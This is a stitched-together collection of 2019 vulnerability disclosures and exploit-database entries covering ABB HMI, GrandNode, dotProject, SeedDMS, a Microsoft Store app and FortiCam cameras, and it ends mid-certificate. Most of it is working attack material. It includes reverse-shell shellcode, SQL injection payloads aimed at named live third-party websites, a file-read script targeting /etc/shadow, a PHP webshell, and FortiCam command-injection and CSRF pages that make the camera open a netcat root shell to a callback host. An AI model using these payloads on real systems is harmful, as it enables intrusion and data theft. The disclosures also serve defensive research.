XL-19-005 - ABB HMI Absence of Signature Verification Vulnerability
========================================================================

Identifiers
-----------
XL-19-005
CVE-2019-7229
ABBVU-IAMF-1902003
ABBVU-IAMF-1902012


CVSS Score
----------
8.3 (AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
xen1thLabs - Software Labs


Vulnerability summary
---------------------
ABB HMI uses two different transmission methods to upgrade its software components:

-   Utilization of USB/SD Card to flash the device
-   Remote provisioning process via ABB Panel Builder 600 over FTP

Neither of these transmission methods implement any form of encryption or authenticity checks against the new HMI software binary files.


Technical details
-----------------
Neither of the update mechanisms implement encryption or authentication checks on the new binaries of the HMI Software components. An attacker could therefore take over the HMI by manipulating these .dll or .exe files to execute arbitrary code on the system.

The following Windows CE ARM executable was pushed to the HMI target via FTP and replaced an already existing binary resulting in remote code execution.


Proof of concept
----------------
```
// Code Snippet

#pragma comment(linker, "/ENTRY:ChangedEntry /NODEFAULTLIB /SUBSYSTEM:WINDOWSCE")

void ChangedEntry()

{

printf("Remote Code Execution!");

LPCWSTR buff = L"Software Labs Remote Code Execution Proof of Concept";

LPCWSTR a = L"RCE Vuln";

MessageBox(0, buff, a, MB_OK | MB_ICONQUESTION);

}
```


Affected systems
----------------
CP620, order code: 1SAP520100R0001, revision index G1 with BSP UN31 V1.76 and prior
CP620, order code: 1SAP520100R4001, revision index G1 with BSP UN31 V1.76 and prior
CP620-WEB, order code: 1SAP520200R0001, revision index G1 with BSP UN31 V1.76 and prior
CP630, order code: 1SAP530100R0001, revision index G1 with BSP UN31 V1.76 and prior
CP630-WEB, order code: 1SAP530200R0001, revision index G1 with BSP UN31 V1.76 and prior
CP635, order code: 1SAP535100R0001, revision index G1 with BSP UN31 V1.76 and prior
CP635, order code: 1SAP535100R5001, revision index G1 with BSP UN31 V1.76 and prior
CP635-B, order code: 1SAP535100R2001, revision index G1 with BSP UN31 V1.76 and prior
CP635-WEB, order code: 1SAP535200R0001, revision index G1 with BSP UN31 V1.76 and prior
CP651, order code: 1SAP551100R0001, revision index B1 with BSP UN30 V1.76 and prior
CP651-WEB, order code: 1SAP551200R0001, revision index A0 with BSP UN30 V1.76 and prior
CP661, order code: 1SAP561100R0001, revision index B1 with BSP UN30 V1.76 and prior
CP661-WEB, order code: 1SAP561200R0001, revision index A0 with BSP UN30 V1.76 and prior
CP665, order code: 1SAP565100R0001, revision index B1 with BSP UN30 V1.76 and prior
CP665-WEB, order code: 1SAP565200R0001, revision index A0 with BSP UN30 V1.76 and prior
CP676, order code: 1SAP576100R0001, revision index B1 with BSP UN30 V1.76 and prior
CP676-WEB, order code: 1SAP576200R0001, revision index A0 with BSP UN30 V1.76 and prior


Solution
--------
ABB has not changed this, relying instead on password protection:
  - ABB CP635 HMI -  https://search.abb.com/library/Download.aspx?DocumentID=3ADR010376&LanguageCode=en&DocumentPartId=&Action=Launch
  - ABB CP651 HMI - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010402&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

XL-19-010 - ABB IDAL HTTP Server Authentication Bypass Vulnerability
========================================================================

Identifiers
-----------
XL-19-010
CVE-2019-7226
ABBVU-IAMF-1902005


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL HTTP server CGI interface contains a URL, which allows an unauthenticated attacker to bypass authentication and gain access to privileged functions.


Technical details
-----------------
In the IDAL CGI interface, there is a URL (/cgi/loginDefaultUser), which will create a session in an authenticated state and return the session ID along with the username and plaintext password of the user. An attacker can then login with the provided credentials or supply the string 'IDALToken=......' in a cookie which will allow them to perform privileged operations such as restarting the service with /cgi/restart.

Proof of concept
----------------
```
GET http://localhost:81/cgi/loginDefaultUser
````

    1
    #S_OK
    IDALToken=532c8632b86694f0232a68a0897a145c
    admin
    adminpass

Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
  - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

/*

Title: Linux/x86_64 - Reverse(0.0.0.0:4444/TCP)Shell(/bin/sh)- Null Free Shellcode
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  70 bytes
;github = https://github.com/STARRBOY

compilation and execution of assembly code
-------------------------------------
nasm -felf64 reverse.nasm -o reverse.o
ld reverse.o -o reverse
---------------------------
dumping binaries
----------------------------------------------------------------------------------
for i in $(objdump -d reverse |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
----------------------------------------------------------------------------------
C program 
-------------------------------------------------------------------
gcc -fno-stack-protector -z execstack reverse_tcp.c -o reverse_tcp
----------------------------------------------------------------
test:
open a terminal and run this " nc -l 0.0.0.0 4444 "

after you have done that, 
open another one and run a shellcode



global _start

section .text

_start:


    ; create socket 
        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41   

  push 41         ;sys_socket
  pop rax    
        push 2    ; AF_INET
        pop rdi
         push 1    ;SOCK_STREAM
        pop rsi
        xor rdx,  rdx    ;rdx = 0
        syscall


  xchg rdi,  rax  ;save a socket descriptor

connect:

  ; struct sockaddr_in addr;
      ; addr.sin_family = AF_INET;
      ; addr.sin_port = htons(4444);
     ; addr.sin_addr.s_addr = inet_addr("0.0.0.0");
     ; connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

  push    2               ;sin_family = AF_INET
        mov word [rsp + 2], 0x5c11      ;port = 4444
        push    rsp

  push  42    ;sys_connect
  pop   rax     
        ;rdi already contains a socket descriptor
  pop   rsi    ;(addr.sin_port,2 bytes) push htons(4444)
  push  16    ;sizeof(addr)
  pop  rdx
  syscall

      push   3    ;push counter
        pop   rsi
dup2loop:

        ; int dup2(int oldfd, int newfd);

  push  33    ;dup2 syscall
  pop  rax
        dec   rsi    ;next number
        syscall
        loopnz dup2loop    ;loop

spawn_shell:

  ; int execve(const char *filename, char *const argv[],char *const envp[]);


  xor     rsi,  rsi       ;clear rsi
  push  rsi               ;push null on the stack
  mov   rdi,  0x68732f2f6e69622f   ;/bin//sh in reverse order
  push  rdi
  push  rsp    
  pop  rdi               ;stack pointer to /bin//sh
  mov   al,      59           ;sys_execve
  cdq           ;sign extend of eax
  syscall

*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01"
"\x5e\x48\x31\xd2\x0f\x05\x48\x97"
"\x6a\x02\x66\xc7\x44\x24\x02\x11"
"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"
"\x5a\x0f\x05\x6a\x03\x5e\x6a\x21"
"\x58\x48\xff\xce\x0f\x05\xe0\xf6"
"\x48\x31\xf6\x56\x48\xbf\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\xb0\x3b\x99\x0f\x05";


int main(){

        printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

        int (*ret)() = (int(*)())shellcode;

        ret();
}

[+] Sql Injection on AZADMIN CMS of HIDEA v1.0

[+] Date: 24/06/2019

[+] CWE Number : CWE-89

[+] Risk: High

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://www.hidea.com/

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Linux

[+] Vulnerable Files: news_det.php

[+] Dork : inurl:"news_det.php?cod=" HIDEA

[+] Exploit : https://www.site.com/news_det.php?cod=[SQL Injection] 

[+] Payload : /*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-

[+] PoC:
         http://www.cardiopediatria.com.br/news_det.php?cod=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-

        https://www.dialsist.com.br/news_det.php?cod=77/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-

[+] Example:

       curl 'http://www.centroconcept.com.br/news_det.php?cod=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-' -H 'Host: www.centroconcept.com.br' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'Cookie: PHPSESSID=dv0rd3b6rbghah80getonfp601' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1'

    XPATH syntax error: '
    s3x0u:centroco_ger:s3x0u'

# Exploit Title: GSearch v1.0.1.0 - Denial of Service (PoC)
# Date: 6/23/2019
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NDTMZKLC693
# Version: 1.0.1.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# Click any link and app will crash


buffer = "A" * 2000
payload = buffer
try:
    f = open("PoC.txt", "w")
    print("[+] Creating payload..")
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created")

# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
# Date: 06/23/3019
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
# Vendor Homepage: https://grandnode.com/
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
# Version: <= v4.40 (before 5/30/2019)
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-12276

'''
CVE-2019-12276

A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to 
view any files that the application has read/view permissions to. This vulnerability affects 
Windows and Unix operating systems.

For more details, see: https://security401.com/grandnode-path-traversal/

'''

import requests
import argparse

def exploit(url, file):

    session = requests.Session()

    paramsGet = {"fileName":file}
    rawBody = "\r\n"

    response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)

    if "UnauthorizedAccessException" in response.content or response.status_code == 500:
        print("Access to the path '{}' is denied.".format(file))
        return  

    content_length = int(response.headers['Content-Length'])

    if content_length == 0:
        print("The '{}' file was not found.".format(file))  
    else:
        print("-" *22)
        print(response.content)
        print("-" *22)


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
    parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
    parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
    args = parser.parse_args()

    exploit(args.url, args.file)

# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"

# Exploit Title: dotProject 2.1.9 - Multiple Sql Injection (Poc)
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://dotproject.net
# Software Link: https://github.com/dotproject/dotProject/archive/v2.1.9.zip
# Version: 2.1.9
# Category: Webapps
# Tested on: Xampp for Windows
# Software Description : dotProject is a volunteer supported Project Management application. There is no "company" behind this project, it is managed, maintained, developed and supported by a volunteer group and by the users themselves.

==================================================================


event_id (POST) - Sql injection PoC

POST /dotProject-2.1.9/index.php?m=calendar HTTP/1.1
Host: xxx.xxx.x.xx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.x.xx/dotProject-2.1.9/index.php?m=calendar&a=addedit
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Cookie: dotproject=gfkt21luioqv9eoh25hdaloe7v; client_lang=english; client_login_name=test1
Connection: close
Upgrade-Insecure-Requests: 1

dosql=do_event_aed&event_id=0&event_project=[SQLi]&event_assigned=1&event_title=test&
event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&
end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on




Parameter: event_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: dosql=do_event_aed&event_id=0) AND 3236=3236-- rnpG&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: dosql=do_event_aed&event_id=0) AND (SELECT 7581 FROM(SELECT COUNT(*),CONCAT(0x7170787a71,(SELECT (ELT(7581=7581,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bOIA&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: dosql=do_event_aed&event_id=0) AND (SELECT 6637 FROM (SELECT(SLEEP(5)))bNDB)-- NfAk&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: dosql=do_event_aed&event_id=0) UNION ALL SELECT CONCAT(0x7170787a71,0x646772547a6e58774c464e54416963614c64646c7a6f6c745748597350686f535979714443794859,0x71627a6271)-- xXFB&event_project=0&event_assigned=1&event_title=test&event_description=hkffkfuy&event_type=0&event_project=0&event_start_date=20190621&start_time=080000&event_end_date=20190621&end_time=170000&event_recurs=0&event_times_recuring=1&mail_invited=on



==================================================================


MULTIPART project_id ((custom) POST) - Sql Injection Poc

POST /dotProject-2.1.9/index.php?m=projects HTTP/1.1
Host: 192.168.1.33
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.33/dotProject-2.1.9/index.php?m=projects&a=addedit
Content-Type: multipart/form-data; boundary=---------------------------9310663371787104596119761620
Content-Length: 2749
Cookie: dotproject=gfkt21luioqv9eoh25hdaloe7v; client_lang=english; client_login_name=test1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="dosql"

do_project_aed
-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="project_id"

[SQLi]
-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="project_creator"

1
.
..snip
..snip
.

-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="import_tasks_from"

0
-----------------------------9310663371787104596119761620
Content-Disposition: form-data; name="project_description"

fasdf
-----------------------------9310663371787104596119761620--



Parameter: MULTIPART project_id ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: 0 RLIKE (SELECT (CASE WHEN (6146=6146) THEN '' ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: 0 AND EXTRACTVALUE(9751,CONCAT(0x5c,0x716b767871,(SELECT (ELT(9751=9751,1))),0x716b6a6a71))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 0 AND (SELECT 6725 FROM (SELECT(SLEEP(5)))WETe)


#
#
#

# Exploit Title: [Persistent Cross-Site Scripting or Stored XSS in out/out.UsrMgr.php in SeedDMS before 5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [< 5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12745]

Proof-of-Concept:

Step 1: Login to the application and go to My account and edit user details.
Step 2: Change the name by adding <script>alert("name")</script> 
Step 3: Now browse to user management option in Admin-tools and click on choose user to execute the previously inserted javascript.

# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code: 
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

# Exploit Title: [Persistent Cross-Site Scripting or Stored XSS in out/out.GroupMgr.php in SeedDMS before 5.1.11]
# Google Dork: [NA]
# Date: [17-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [< 5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12801]

Proof-of-Concept:

Step 1: Login to the application and go to Groups Management in Admin tools.
Step 2: Now create a new group as hello<script>alert("group")</script>
Step 3: Now save it click on choose group to execute the javascript inserted above.

Original posting: https://xor.cat/2019/06/19/fortinet-forticam-vulns/

## Background

In March of 2019 I discovered five vulnerabilities in Fortinet's
FortiCam FCM-MB40[1] product.

Part-way through disclosing this vulnerability, I discovered that the
FCM-MB40 is manufactured by a company called Dynacolor Inc[2], which
calls the product "Q2-H"[3].

The FortiCam FCM-MB40 software version which I found these
vulnerabilities in was the latest version at the time (and at the time
of posting this, still is), v1.2.0.0.

Since discovering these vulnerabilities I have been unable to get my
hands on a Q2-H which is not branded as Fortinet. As such, I am unable
to confirm whether the below vulnerabilities also apply directly to the
Q2-H device. In saying that, I am reasonably confident that the majority
of the vulnerabilities also affect the Q2-H.

As of the date of publication (2019-06-19), no fix for these issues has
been released or announced by Fortinet or Dynacolor.

All five of these vulnerabilities are currently pending CVE assignment,
and this page will be updated when they have been assigned.

The first (1), CVE-TBA, is an unsanitised input vulnerability in the
FortiCam's admin web interface, resulting in remote command execution as
`root`, when authenticated as an administrative user.

The second (2), CVE-TBA, is a cross-site request forgery (CSRF)
vulnerability which allows an attacker to fool a browser logged in as
the "admin" user into forging requests which can reconfigure the
FortiCam in any way that the "admin" user is able to from the web
interface.

The third (3), CVE-TBA, is a hardcoded SSL/TLS encryption key
vulnerability.

The fourth (4), CVE-TBA, refers to the insecure (cleartext) storage of
administrative password credentials on the device.

The fifth (5), CVE-TBA, is a vulnerability whereby the device's
"factory reset" function does not sufficiently reset the device.

Below, I will cover all five vulnerabilities in detail.

## 1 - CVE-TBA - FCM-MB40 Remote Command Execution as Root

### Summary

Forticam FCM-MB40 Remote Command Execution Vulnerability

    Product: FCM-MB40
    Version: v1.2.0.0
    Vendor: Fortinet
    CVE-ID: CVE-TBA
    CWE-78: Improper Neutralisation of Special Elements used in an OS
        Command ('OS Command Injection')

Many CGI scripts in the FCM-MB40's `/cgi-bin/` web directory pass input
from user-provided parameters directly to shell commands such as `sed`
without sanitising or verifying the input.

An attacker with admin access to the web interface is able to gain
command execution as root, which would allow them to implement
persistence, and have full covert control over the device for an
indefinite period of time.

### Details

The below proof-of-concept python script exploits a call to `sed` in
`/cgi-bin/camctrl_save_profile.cgi` which directly uses the parameter
`name` from the user's GET request to modify the contents of
`/cgi-bin/ddns.cgi` to execute a reverse shell using `netcat`.

```python
#!/usr/bin/python3

import requests

# replace IP addresses with relevant test environment IP addresses
forticam_ip = '192.168.1.20'
callback_ip = '192.168.1.10'
callback_port = '1337'

# default web interface admin password is admin
username = 'admin'
password = 'admin'

name_param = 'a%20-e%20s/^if.*/nc\\t{}\\t{}\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20'.format(callback_ip, callback_port)
sed_url = 'http://{}/cgi-bin/camctrl_save_profile.cgi?num=9&name={}&save=profile'.format(forticam_ip, name_param)

execute_url = 'http://{}/cgi-bin/ddns.cgi'.format(forticam_ip)

print("[-] Attacking {}".format(forticam_ip))

requests.get(sed_url, auth=requests.auth.HTTPBasicAuth(username, password))
requests.get(execute_url, auth=requests.auth.HTTPBasicAuth(username, password))
```

The line of code being exploited in `camctrl_save_profile.cgi` is line
64, shown below (whitespace modified for ease of reading):

```bash
sed -i '/Profile.'$targetp'.Name=/s/Profile.'$targetp'.Name=.*/Profile.'$targetp'.Name='$name'/' /etc/sysconfig/$targetconf
```

Note the `$name` parameter is directly inserted into the `sed` command
without sanitisation.

This allows the attacker to take control of `sed` to modify the contents
of any arbitrary file.

Before running the above script, we run `nc -nvlp 1337` on our host, to
catch the reverse shell that will be executed on the camera.

In the above proof of concept we modify `ddns.cgi` to execute `nc
192.168.1.10 1337 -e /bin/sh`.

We then send a request to the camera, requesting `ddns.cgi`, causing our
`nc` command to be executed as the `root` user.

After the reverse shell connects back to us, we can verify that the
exploit has successfully run as the root user:

```
id
uid=0(root) gid=0(root)
uname -a
Linux FortiCamera 3.10.73 #5 PREEMPT Tue Jan 17 16:17:47 CST 2017 armv7l GNU/Linux
```

From this point, it is possible to take complete control of the camera
in any way we like. 

An attacker could utilise widely known default credentials and network
reachability to covertly run commands as the root user, implanting a
persistent callback to their command and control server which will
remain on the camera until it's firmware is upgraded.

#### Note

 * The above pair of scripts are only an example of this vulnerability.
   The same pattern which allows this exploit to function exists in many
   other CGI scripts in the FCM-MB40's `/cgi-bin` web directory.

### Recommended Remediations

 * User input in all CGI scripts should be checked for potentially
   dangerous characters before being inserted into shell commands.
 * The web server executing CGI scripts should be running as a
   non-privileged user, so that this vulnerability would not expose
   access to the root user.

### Fix Information

Dynacolor and Fortinet have yet to provide a fix.

---

## 2 - CVE-TBA - FCM-MB40 CSRF in Multiple Scripts

### Summary

Forticam FCM-MB40 CSRF in Multiple CGI Scripts

    Product: FCM-MB40
    Version: v1.2.0.0
    Vendor: Fortinet
    CVE-ID: CVE-TBA
    CWE-352: Cross-Site Request Forgery (CSRF)

All CGI scripts in the FCM-MB40's `/cgi-bin/` web directory allow an
attacker to fool a logged-in "admin"'s browser into forging requests
which can reconfigure the FCM-MB40 in any way that the "admin" user is
able to from the web interface.

An attacker who knows the IP address of a FCM-MB40, and who is able to
trick an "admin" user into opening a crafted webpage, is able to
reconfigure the FCM-MB40 on behalf of the "admin" user, without their
knowledge or authorisation.

### Details

The below are some (non-exhaustive) example changes that the attacker
could make to the FCM-MB40 by exploiting this CSRF:

 * Change admin password
 * Add new admin account
 * Restart camera
 * Configure FTP server for camera to send footage to
 * Disable scheduled recording
 * Upgrade firmware
 * Change camera hostname

These changes are possible because the FCM-MB40's web interface uses GET
parameters to influence the device's configuration state.

For example, to change the device's hostname, a user simply needs to
visit the following URL when logged in as the "admin" user:

`http://192.168.1.20/cgi-bin/date.cgi?system_hostname=NewHostname`

It is trivial for an attacker to trick a user's web browser into
performing a GET request to a URL such as the above.

Combined with the previously disclosed vulnerability (#1)
regarding remote command execution, this CSRF vulnerability allows a
remote, unauthenticated attacker to gain remote command execution as
root. The below proof-of-concept web-page demonstrates this.

```html
<html>
<!-- FCM-MB40 CSRF to RCE as root, by Aaron Blair (@xorcat) -->
<head>
<script>
const sleep = (milliseconds) => {
    return new Promise(resolve => setTimeout(resolve, milliseconds))
};
var sed_url = 'http://192.168.1.20/cgi-bin/camctrl_save_profile.cgi?num=9&name=a%20-e%20s/^if.*/nc\\t192.168.1.10\\t1337\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20&save=profile';
var execute_url = 'http://192.168.1.20/cgi-bin/ddns.cgi';

var sed_img = document.createElement("img");
sed_img.src = sed_url;

sleep(400).then(() => {
    var execute_img = document.createElement("img");
    execute_img.src = execute_url;
});
</script>
</head>
<body>
<h1>Welcome to my non-malicious website.</h1>
</body>
</html>
```

Follow the following steps to demonstrate this PoC:

 1. Replace IP addresses in Javascript code to represent your testing
    environment.
 2. Launch a `netcat` listener on the attacker's host using `nc -nvlp
    1337`
 3. Ensure the "admin" user's browser is logged in to the FCM-MB40.
    * Note: all modern browsers will cache Basic Authentication
      credentials (such as those used by the FCM-MB40) even if the
      FCM-MB40's administration page is closed.
 4. Open the above crafted HTML document using the "admin" user's
    browser. 
    * Note: In an attack scenario, this step would be performed by
      implanting the code into a legitimate webpage that the "admin"
      user visits, or by tricking the "admin" user into opening a page
      which includes the code.
 5. Note that the `netcat` listener established in step 2. has received
    a connection from the camera, and that it is presenting a `/bin/sh`
    session as root.
    * Note: type `id` in the `netcat` connection to verify this.

_Note: After this issue has been exploited, the state of the system will
have changed, and future exploitation attempts may require
modification._

### Recommended Remediations

 * All web application parameters which are used to modify device state
   should be required to be sent as POST parameters.
 * POST requests should be protected by implementing some form of CSRF
   protection, such as dynamic secret tokens which are sent to the user
   as part of the HTML form which they fill out. This secret token is
   then sent as a POST parameter with the form data. This secret token
   must be verified by the CGI script as correct before any changes are
   made to the device.
 * More information about CSRF and how to prevent it can be found on the
   OWASP website[4].

### Fix Information

Dynacolor and Fortinet have yet to provide a fix.

---

## 3 - CVE-TBA - FCM-MB40 Hardcoded SSL/TLS Encryption Keys

### Summary

Forticam FCM-MB40 Hardcoded SSL/TLS Encryption Keys

    Product: FCM-MB40
    Version: v1.2.0.0
    Vendor: Fortinet
    CVE-ID: CVE-TBA
    CWE-321: Use of Hard-coded Cryptographic Key

The FortiCam FCM-MB40 and other FortiCams utilise a hardcoded,
preconfigured SSL certificate for their web administration interface.

This could allow anybody with access to the traffic to decrypt after the
fact, or man-in-the-middle the traffic if they are in-line.

### Details

The FortiCam FCM-MB40's Mbedthis Appweb web server uses an SSL
certificate deployed with the firmware, and is never changed unless the
user chooses to regenerate a new certificate.

Effectively, all FortiCam FCM-MB40's use the same SSL certificate,
meaning that any user with access to one of the cameras is able to
decrypt the SSL traffic for any FCM-MB40.

The below lines are extracted from `/etc/appWeb/appweb.conf`, which
identify the certificate for the camera to use:

```apache
<VirtualHost *:443>                                                        
                DocumentRoot "/usr/apache/htdocs"
                SSLEngine on                                                                   
                SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
                SSLProtocol ALL -SSLV2                                           

                #                                                                     
                #       WARNING: you must regenerate the server.crt and server.key.pem
                #                                              
                SSLCertificateFile "/etc/ssl/certificate.pem"

                #                                                                              
                #       WARNING: we are using the decrypted key here so it won't prompt for the
                #       password. Replace with server.key for higher security  
                #                                                            
                SSLCertificateKeyFile "/etc/ssl/certificate.pem"
```

A description of the listed certificate (private key excluded) is
included below:

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 138467 (0x21ce3)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, ST=California, L=Sunnyvale, O=Fortinet, OU=Certificate Authority, CN=support/emailAddress=support@fortinet.com
        Validity
            Not Before: Aug 14 15:18:49 2012 GMT
            Not After : Jan 19 03:14:07 2038 GMT
        Subject: C=US, ST=California, L=Sunnyvale, O=Fortinet, OU=FortiCam, CN=camera/emailAddress=support@fortinet.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:c1:db:15:48:58:a9:af:04:13:18:8d:e6:14:53:
                    69:48:4d:3e:b1:25:ef:2f:f9:b4:02:2d:31:6e:93:
                    8a:6f:fb:49:1d:07:91:75:1a:6a:10:21:f5:00:a4:
                    67:27:20:53:46:34:6b:0e:91:eb:5d:5d:72:39:78:
                    3d:81:97:22:5c:48:d6:07:d5:ab:21:ee:24:59:08:
